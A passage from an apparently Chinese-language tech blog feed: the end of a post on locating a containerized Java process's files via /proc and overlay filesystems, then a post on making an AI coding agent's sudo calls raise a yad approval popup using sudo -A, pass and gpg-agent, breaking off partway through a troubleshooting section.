&lt;p&gt;&lt;strong&gt;cwd 显示的 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 是容器内的根目录（overlay 文件系统），不是宿主机的根目录。&lt;&#x2F;strong&gt; 两者是两个不同的文件系统，我在宿主机的 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 里找容器里的文件，当然找不到。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-li-xiao-jie&quot;&gt;原理小结&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;proc&#x2F;PID&#x2F;cwd&lt;&#x2F;code&gt;：进程的工作目录，是 OS 层 chdir 状态，&lt;strong&gt;和可执行文件&#x2F;jar 在哪没有必然关系&lt;&#x2F;strong&gt;；jar 的真实路径要看 &lt;code&gt;&#x2F;proc&#x2F;PID&#x2F;cmdline&lt;&#x2F;code&gt; 里的启动参数（可能有相对路径 + 其他情况）&lt;&#x2F;li&gt;
&lt;li&gt;容器进程的文件系统：Docker 容器根目录是 overlay2 挂载的镜像层，与宿主根目录隔离。宿主上 &lt;code&gt;ls -l &#x2F;proc&#x2F;PID&#x2F;cwd&lt;&#x2F;code&gt; 显示的路径是容器命名空间内的路径&lt;&#x2F;li&gt;
&lt;li&gt;容器进程判定：&lt;code&gt;ps -ef&lt;&#x2F;code&gt; 时看 PPID，父进程是 &lt;code&gt;containerd-shim-runc-v2&lt;&#x2F;code&gt;（Docker）或 &lt;code&gt;containerd-shim&lt;&#x2F;code&gt;（containerd）即为容器内进程；容器内根目录还有 &lt;code&gt;.dockerenv&lt;&#x2F;code&gt; 标记文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;hou-xu-xia-zai-wen-jian-de-pai-cha&quot;&gt;后续：下载文件的排查&lt;&#x2F;h2&gt;
&lt;p&gt;这个服务还提供 wfuzz 程序下载功能，最初也没找到 wfuzz 文件。排查结果：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;可下载的文件不在 &lt;code&gt;portal.jar&lt;&#x2F;code&gt; 里。jar 内搜到的 &lt;code&gt;wfuzz&lt;&#x2F;code&gt; 全是 Java 包名&#x2F;类名（&lt;code&gt;com.wfuzz.saas.portal.*&lt;&#x2F;code&gt;），不是二进制&lt;&#x2F;li&gt;
&lt;li&gt;下载源在容器磁盘上：配置文件 &lt;code&gt;application-platform.yml&lt;&#x2F;code&gt; 里写了 &lt;code&gt;repo: &#x2F;dist&#x2F;repo&lt;&#x2F;code&gt;、&lt;code&gt;install: &#x2F;dist&#x2F;install&lt;&#x2F;code&gt;、&lt;code&gt;assetDir: &#x2F;repo&#x2F;dist&#x2F;asset&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;实际文件在 &lt;code&gt;&#x2F;repo&#x2F;dist&#x2F;out&#x2F;wfuzz-Linux-x86_64&lt;&#x2F;code&gt;、&lt;code&gt;&#x2F;repo&#x2F;dist&#x2F;repo&#x2F;wfuzz-2.4.20-Linux-x86_64.tar.xz&lt;&#x2F;code&gt; 等&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;找不到的另一个原因是&lt;strong&gt;文件名带了架构后缀&lt;&#x2F;strong&gt;：&lt;code&gt;wfuzz-Linux-x86_64&lt;&#x2F;code&gt;、&lt;code&gt;wfuzz-2.4.20-Linux-x86_64.tar.xz&lt;&#x2F;code&gt;，用 &lt;code&gt;ls&lt;&#x2F;code&gt; 或 &lt;code&gt;find -name &quot;wfuzz&quot;&lt;&#x2F;code&gt; 精确匹配会漏掉，要写成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;find &amp;#x2F; -iname &amp;quot;*wfuzz*&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jing-yan-zong-jie&quot;&gt;经验总结&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;排查进程问题先看三件套：&lt;code&gt;cmdline&lt;&#x2F;code&gt;（启动参数）、&lt;code&gt;cwd&lt;&#x2F;code&gt;、&lt;code&gt;exe&lt;&#x2F;code&gt;，再看 &lt;strong&gt;PPID&lt;&#x2F;strong&gt;（父进程是谁往往直接给出答案）&lt;&#x2F;li&gt;
&lt;li&gt;看到 &lt;code&gt;containerd-shim-runc-v2&lt;&#x2F;code&gt; 立刻意识到是容器场景，接下来一切都要到容器内文件系统里找&lt;&#x2F;li&gt;
&lt;li&gt;cwd 指向的 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 不等于可执行文件所在目录；文件位置看 cmdline，文件系统边界看父进程&lt;&#x2F;li&gt;
&lt;li&gt;文件搜索用通配符（&lt;code&gt;*wfuzz*&lt;&#x2F;code&gt;），别被带后缀的文件名骗了&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>让 agent 执行 sudo 时弹窗授权：sudo -A + pass + gpg-agent 免费方案</title>
        <published>2026-08-04T13:38:26+08:00</published>
        <updated>2026-08-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/sudo-askpass-pass-and-gpg-agent/"/>
        <id>https://vercel.juzhong.asia/2026/08/sudo-askpass-pass-and-gpg-agent/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/sudo-askpass-pass-and-gpg-agent/">&lt;h1 id=&quot;xu-qiu&quot;&gt;需求&lt;&#x2F;h1&gt;
&lt;p&gt;agent(如 opencode)执行 sudo 命令时,希望弹出一个授权窗口:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;回车 = 允许&lt;&#x2F;strong&gt;,sudo 正常执行&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Esc = 取消&lt;&#x2F;strong&gt;,sudo 直接失败&lt;&#x2F;li&gt;
&lt;li&gt;全程&lt;strong&gt;不需要输入密码&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;背景:SSH 登录远程机器,opencode 在终端里跑,需要 root 权限时由用户人工把关。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;sudo-a-ji-zhi&quot;&gt;sudo -A 机制&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;sudo -A&lt;&#x2F;code&gt; 让 sudo 调用 &lt;code&gt;SUDO_ASKPASS&lt;&#x2F;code&gt; 指向的辅助程序来获取密码,而不是从终端读取:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;SUDO_ASKPASS=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;sudo-askpass sudo -A &amp;lt;command&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;askpass 程序把密码打到标准输出,sudo 拿来用。所以思路就是:&lt;strong&gt;askpass = 确认对话框 + 密码来源&lt;&#x2F;strong&gt;,密码来源不能让用户每次打字。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-ce-liang-ge-guan-jian-shi-shi&quot;&gt;实测两个关键事实&lt;&#x2F;h2&gt;
&lt;p&gt;动手之前先验证了环境,两个事实直接决定了方案走向:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. askpass 进程的 stdio 是 &amp;#x2F;dev&amp;#x2F;null,没有终端
#    写一个探针 askpass 打印自己的 stdio:
$ printf &amp;#x27;#!&amp;#x2F;bin&amp;#x2F;sh\necho &amp;quot;tty=$(tty) stdin=$(readlink &amp;#x2F;proc&amp;#x2F;$$&amp;#x2F;fd&amp;#x2F;0) disp=$DISPLAY&amp;quot;\nexit 1\n&amp;#x27; &amp;gt; &amp;#x2F;tmp&amp;#x2F;t-askpass
$ chmod +x &amp;#x2F;tmp&amp;#x2F;t-askpass &amp;amp;&amp;amp; SUDO_ASKPASS=&amp;#x2F;tmp&amp;#x2F;t-askpass sudo -A true
tty=不是一个 tty stdin=&amp;#x2F;dev&amp;#x2F;null disp=localhost:10.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;askpass 没有 controlling tty,stdio 是 &lt;code&gt;&#x2F;dev&#x2F;null&lt;&#x2F;code&gt; → &lt;strong&gt;不能靠终端提示&lt;&#x2F;strong&gt;,得靠 X 弹窗或显式 &lt;code&gt;exec &amp;lt;&#x2F;dev&#x2F;tty&lt;&#x2F;code&gt;(后者在 tmux&#x2F;后台场景不可靠)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;DISPLAY=localhost:10.0&lt;&#x2F;code&gt; → &lt;strong&gt;SSH 有 X11 转发&lt;&#x2F;strong&gt;,yad 对话框可以直接弹到本地屏幕,回车&#x2F;Esc 可行&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 2. systemd-creds 在这台机器上不可用(无 TPM)
$ echo test | systemd-creds encrypt --name=test - &amp;#x2F;tmp&amp;#x2F;x.cred
Failed to encrypt: io.systemd.InteractiveAuthenticationRequired
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;本打算用 systemd-creds 做机器绑定的免费密码存储,无 TPM 直接出局。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fang-an-xuan-xing&quot;&gt;方案选型&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;免费&lt;&#x2F;th&gt;&lt;th&gt;SSH 可用&lt;&#x2F;th&gt;&lt;th&gt;免打字&lt;&#x2F;th&gt;&lt;th&gt;结论&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1Password CLI&lt;&#x2F;td&gt;&lt;td&gt;❌ 付费&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;功能最好,要钱&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GNOME Keyring (secret-tool)&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;❌ 无 daemon&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;SSH 会话里 keyring 未解锁,反而要输解锁密码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;systemd-creds&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;无 TPM 报错&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;pass + gpg-agent&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;选中(主方案)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;ssh-askpass-gnome&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;有限&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;备选&lt;&#x2F;strong&gt;:GNOME 桌面可用,弹密码框&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;600 权限明文文件&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;兜底,密码明文落盘&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;最终选择 &lt;strong&gt;pass + gpg-agent + yad&lt;&#x2F;strong&gt;:免费、SSH 下可用、配置一次后零输入,密码以 gpg 密文落盘。&lt;code&gt;ssh-askpass-gnome&lt;&#x2F;code&gt; 保留为备选,在桌面环境无 GPG 密钥时也能用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-yong-yad-er-bu-shi-zenity&quot;&gt;为什么用 yad 而不是 zenity?&lt;&#x2F;h2&gt;
&lt;p&gt;实测发现 &lt;strong&gt;zenity 4.1.90 是 GTK4 版,而 yad 0.40.0 是 GTK3 版&lt;&#x2F;strong&gt;,在本机(SSH 登录 + waypipe&#x2F;X11 转发显示)环境下 GTK4 的窗口&lt;strong&gt;根本创建不出来&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ldd&lt;&#x2F;code&gt;:zenity → &lt;code&gt;libgtk-4&lt;&#x2F;code&gt;,yad → &lt;code&gt;libgtk-3&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;WAYLAND_DEBUG=1&lt;&#x2F;code&gt;:zenity 只 bind 到 &lt;code&gt;xdg_wm_base&lt;&#x2F;code&gt;,&lt;strong&gt;从不创建 &lt;code&gt;xdg_surface&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;xdg_toplevel&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;,不 commit → 窗口永远不出现,进程在 GTK 主循环挂死(超时 exit 124,即&quot;执行失败&quot;)&lt;&#x2F;li&gt;
&lt;li&gt;yad 完整走 &lt;code&gt;get_xdg_surface → xdg_toplevel → commit&lt;&#x2F;code&gt;,窗口正常弹出&lt;&#x2F;li&gt;
&lt;li&gt;强制 &lt;code&gt;GDK_BACKEND=x11&lt;&#x2F;code&gt; 也一样:zenity 窗口停在 &lt;code&gt;1x1 IsUnMapped&lt;&#x2F;code&gt;,照样挂死&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;根因&lt;&#x2F;strong&gt;:GTK4 是底层重写,Wayland 窗口管理用了新协议(&lt;code&gt;gtk_shell1&lt;&#x2F;code&gt;、&lt;code&gt;wl_compositor&lt;&#x2F;code&gt; v6 等),比 GTK3 更严格。waypipe 是&quot;按协议类型逐条解包重组&quot;的代理(它只转发自己内置协议表认识的内容),GTK4 的新协议它 0.9.2 版没跟上,GTK4 又&lt;strong&gt;没有兜底降级&lt;&#x2F;strong&gt;,于是窗口静默消失。GTK3 容忍度高、能降级,所以 yad 稳定。&lt;&#x2F;p&gt;
&lt;p&gt;这不是接口&quot;新旧&quot;的错,而是 &lt;strong&gt;waypipe 这条转发链路跟不上 GTK4 的新接口&lt;&#x2F;strong&gt;。遇到 zenity 弹不出窗口的问题,先确认它是不是 GTK4 版(&lt;code&gt;ldd &#x2F;usr&#x2F;bin&#x2F;zenity | grep gtk&lt;&#x2F;code&gt;),是的话直接换 yad。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fang-an-yuan-li&quot;&gt;方案原理&lt;&#x2F;h1&gt;
&lt;p&gt;pass(passwordstore)是一个 shell 脚本工具,底层调用 gpg 加解密:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;每个密码是一个独立的 gpg 加密文件(&lt;code&gt;~&#x2F;.password-store&#x2F;sudo.gpg&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;公钥加密&lt;&#x2F;strong&gt; — &lt;code&gt;pass init &amp;lt;gpg-key-id&amp;gt;&lt;&#x2F;code&gt; 把该公钥设为接收者,&lt;code&gt;pass insert sudo&lt;&#x2F;code&gt; 时用公钥加密,不碰私钥,所以&lt;strong&gt;写入时不弹任何提示&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;私钥解密&lt;&#x2F;strong&gt; — &lt;code&gt;pass show sudo&lt;&#x2F;code&gt; 需要私钥,私钥未解锁时 gpg-agent 弹 pinentry 要 passphrase&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;内存缓存&lt;&#x2F;strong&gt; — gpg-agent 把解锁后的私钥缓存在&lt;strong&gt;内存&lt;&#x2F;strong&gt;(默认仅 10 分钟),缓存期内 &lt;code&gt;pass show&lt;&#x2F;code&gt; 不再弹任何提示&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这里有两个容易混淆的点,值得单独说:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;gpg-agent 缓存的&lt;strong&gt;不是 sudo 密码&lt;&#x2F;strong&gt;,而是 &lt;strong&gt;GPG 私钥的 passphrase&lt;&#x2F;strong&gt;(私钥解锁状态)。sudo 密码本身以密文形式躺在 &lt;code&gt;sudo.gpg&lt;&#x2F;code&gt; 里。&lt;&#x2F;li&gt;
&lt;li&gt;所以真实体验:设置时输一次 sudo 密码;之后&lt;strong&gt;每个会话第一次&lt;&#x2F;strong&gt; sudo 会弹一次 GPG passphrase(pinentry,不是 sudo 密码),配置 &lt;code&gt;default-cache-ttl&lt;&#x2F;code&gt; 后基本一天只输一次。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wei-shen-me-mi-wen-fang-ci-pan-si-yao-cai-fang-nei-cun&quot;&gt;为什么密文放磁盘、私钥才放内存?&lt;&#x2F;h2&gt;
&lt;p&gt;这是公钥加密的核心设计,不是缺陷:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;密文&lt;&#x2F;strong&gt; = 公钥侧,可以随便存。&lt;code&gt;sudo.gpg&lt;&#x2F;code&gt; 被别人复制走也解不开,没有私钥就是垃圾,放磁盘零风险。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;私钥&lt;&#x2F;strong&gt; = 秘密侧,需要保护。加密形态落盘(&lt;code&gt;~&#x2F;.gnupg&#x2F;&lt;&#x2F;code&gt;),解锁状态只留内存,gpg-agent 重启(重启&#x2F;注销&#x2F;&lt;code&gt;gpgconf --kill gpg-agent&lt;&#x2F;code&gt;)即清空。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;和 ssh-agent 同理:公钥到处放,私钥只在 agent 内存里。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bei-xuan-fang-an-ssh-askpass-gnome&quot;&gt;备选方案:ssh-askpass-gnome&lt;&#x2F;h1&gt;
&lt;p&gt;主方案需要 pass + GPG 密钥,若环境里没有 GPG 密钥、或不想走公钥加密这套,可以用桌面环境自带的 &lt;code&gt;ssh-askpass-gnome&lt;&#x2F;code&gt; 兜底:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install ssh-askpass-gnome
secret-tool store --label=&amp;#x27;sudo password&amp;#x27; application sudo   # 首次把 sudo 密码存入 GNOME 密钥环
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用法(同样带 &lt;code&gt;-k&lt;&#x2F;code&gt;,强制每次弹窗):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;SUDO_ASKPASS=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ssh-askpass sudo -A -k &amp;lt;command&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;与主方案的取舍:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;ssh-askpass 弹的是&lt;strong&gt;普通密码输入框&lt;&#x2F;strong&gt;,你每次要输密码(或解锁密钥环);主方案是&lt;strong&gt;回车&#x2F;Esc 确认框&lt;&#x2F;strong&gt;,免打字。&lt;&#x2F;li&gt;
&lt;li&gt;主方案不依赖 GNOME keyring daemon,SSH 会话下更可靠(参见方案选型里 keyring 在 SSH 下未解锁的问题)。&lt;&#x2F;li&gt;
&lt;li&gt;桌面(有 DISPLAY、有密钥环)上 ssh-askpass 开箱即用,作为应急备选足够。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;wan-zheng-pei-zhi&quot;&gt;完整配置&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-an-zhuang-pass-pinentry-yu-yad&quot;&gt;1. 安装 pass、pinentry 与 yad&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install pass pinentry-curses yad   # yad 是 GTK3,替代 GTK4 的 zenity
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-sheng-cheng-gpg-mi-yao-dui-ruo-mei-you&quot;&gt;2. 生成 GPG 密钥对(若没有)&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg --full-generate-key
gpg --list-secret-keys   # 记下 KEY_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-chu-shi-hua-pass-bing-cun-ru-sudo-mi-ma&quot;&gt;3. 初始化 pass 并存入 sudo 密码&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pass init &amp;lt;KEY_ID&amp;gt;
echo &amp;#x27;你的sudo密码&amp;#x27; | pass insert sudo    # 只输这一次
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-yan-chang-gpg-agent-huan-cun&quot;&gt;4. 延长 gpg-agent 缓存&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.gnupg&#x2F;gpg-agent.conf&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;default-cache-ttl 86400
pinentry-program &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;pinentry-curses
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启 agent 生效:&lt;code&gt;gpgconf --kill gpg-agent&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-askpass-jiao-ben&quot;&gt;5. askpass 脚本&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;sudo-askpass.sh&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
# sudo -A 的 askpass:确认对话框 + 从 pass 取密码,全程免打字
PW=$(pass show sudo 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null)
[ -z &amp;quot;$PW&amp;quot; ] &amp;amp;&amp;amp; exit 1
if yad --question --title=&amp;quot;sudo 授权请求&amp;quot; \
       --text=&amp;quot;Agent 请求运行 sudo 命令&amp;quot; \
       --button=&amp;quot;允许 (回车):0&amp;quot; \
       --button=&amp;quot;取消 (Esc):1&amp;quot;; then
    echo &amp;quot;$PW&amp;quot;
else
    exit 1
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;回车 → yad 返回 0 → 输出密码,sudo 执行;Esc → 非 0 → exit 1,sudo 失败。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-an-zhuang-askpass-bi-xu-root-suo-you-bu-ke-bei-ta-ren-xie&quot;&gt;6. 安装(askpass 必须 root 所有、不可被他人写)&lt;&#x2F;h2&gt;
&lt;p&gt;sudo 对 askpass 程序有安全检查,必须是 root 所有且不可被 group&#x2F;other 写:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo install -o root -m 755 sudo-askpass.sh &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;sudo-askpass
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-rang-mei-ci-sudo-du-dan-chuang-jia-k-bu-yao-gai-sudoers-guan-jian-xi-jie&quot;&gt;7. 让每次 sudo 都弹窗:加 &lt;code&gt;-k&lt;&#x2F;code&gt;,不要改 sudoers(关键细节)&lt;&#x2F;h2&gt;
&lt;p&gt;sudo 默认缓存密码 5 分钟(&lt;code&gt;timestamp_timeout=5&lt;&#x2F;code&gt;),连续命令根本不会触发 askpass,&quot;每次确认&quot;就失效了。解决办法是让 agent 的命令带上 &lt;code&gt;-k&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;SUDO_ASKPASS=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;sudo-askpass sudo -A -k &amp;lt;command&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;sudo -k&lt;&#x2F;code&gt; 带命令时&lt;strong&gt;忽略已缓存的凭据&lt;&#x2F;strong&gt;,强制重新走 askpass,且认证成功后&lt;strong&gt;不把新凭据写回缓存&lt;&#x2F;strong&gt;——所以每次命令都会弹窗,而你终端里手动 sudo 的 5 分钟缓存完全不受影响。&lt;&#x2F;p&gt;
&lt;p&gt;不要为此设置 &lt;code&gt;timestamp_timeout=0&lt;&#x2F;code&gt;:它是全局的,连手动 sudo 的缓存一起关掉。脚本里连续调用的多个 sudo(apt、make install、systemctl 等)会反复要密码,非交互环境(无 tty、无 askpass)里 sudo 直接失败。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;8-agent-ce-shi-yong&quot;&gt;8. agent 侧使用&lt;&#x2F;h2&gt;
&lt;p&gt;opencode 等 agent 执行命令时带(注意 &lt;code&gt;-k&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;SUDO_ASKPASS=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;sudo-askpass sudo -A -k &amp;lt;command&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chang-jian-cuo-wu-bie-zai-fan&quot;&gt;常见错误（别再犯）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;cuo-wu-1-updatestartuptty-qian-wang-liao-export-gpg-tty-ben-ci-cai-de-keng&quot;&gt;错误 1：&lt;code&gt;updatestartuptty&lt;&#x2F;code&gt; 前忘了 &lt;code&gt;export GPG_TTY&lt;&#x2F;code&gt;（本次踩的坑）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;错误写法&lt;&#x2F;strong&gt;（&lt;code&gt;~&#x2F;.zshrc&lt;&#x2F;code&gt; 或 &lt;code&gt;run.sh&lt;&#x2F;code&gt; 里的经典配置）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export SSH_AUTH_SOCK=&amp;quot;$(gpgconf --list-dirs agent-ssh-socket)&amp;quot;
gpg-connect-agent updatestartuptty &amp;#x2F;bye    # ← GPG_TTY 没导出
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;现象&lt;&#x2F;strong&gt;：&lt;code&gt;ssh-add ~&#x2F;.ssh&#x2F;id_ed25519&lt;&#x2F;code&gt; 输完原密钥口令后卡住，过一会儿报 &lt;code&gt;Could not add identity ... agent refused operation&lt;&#x2F;code&gt;。而 &lt;code&gt;pass show sudo&lt;&#x2F;code&gt; 等 gpg 路径&lt;strong&gt;完全正常&lt;&#x2F;strong&gt;——这正是迷惑性最强的地方。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;根因&lt;&#x2F;strong&gt;（两层，缺一不可）：&lt;&#x2F;p&gt;
&lt;ol&gt;
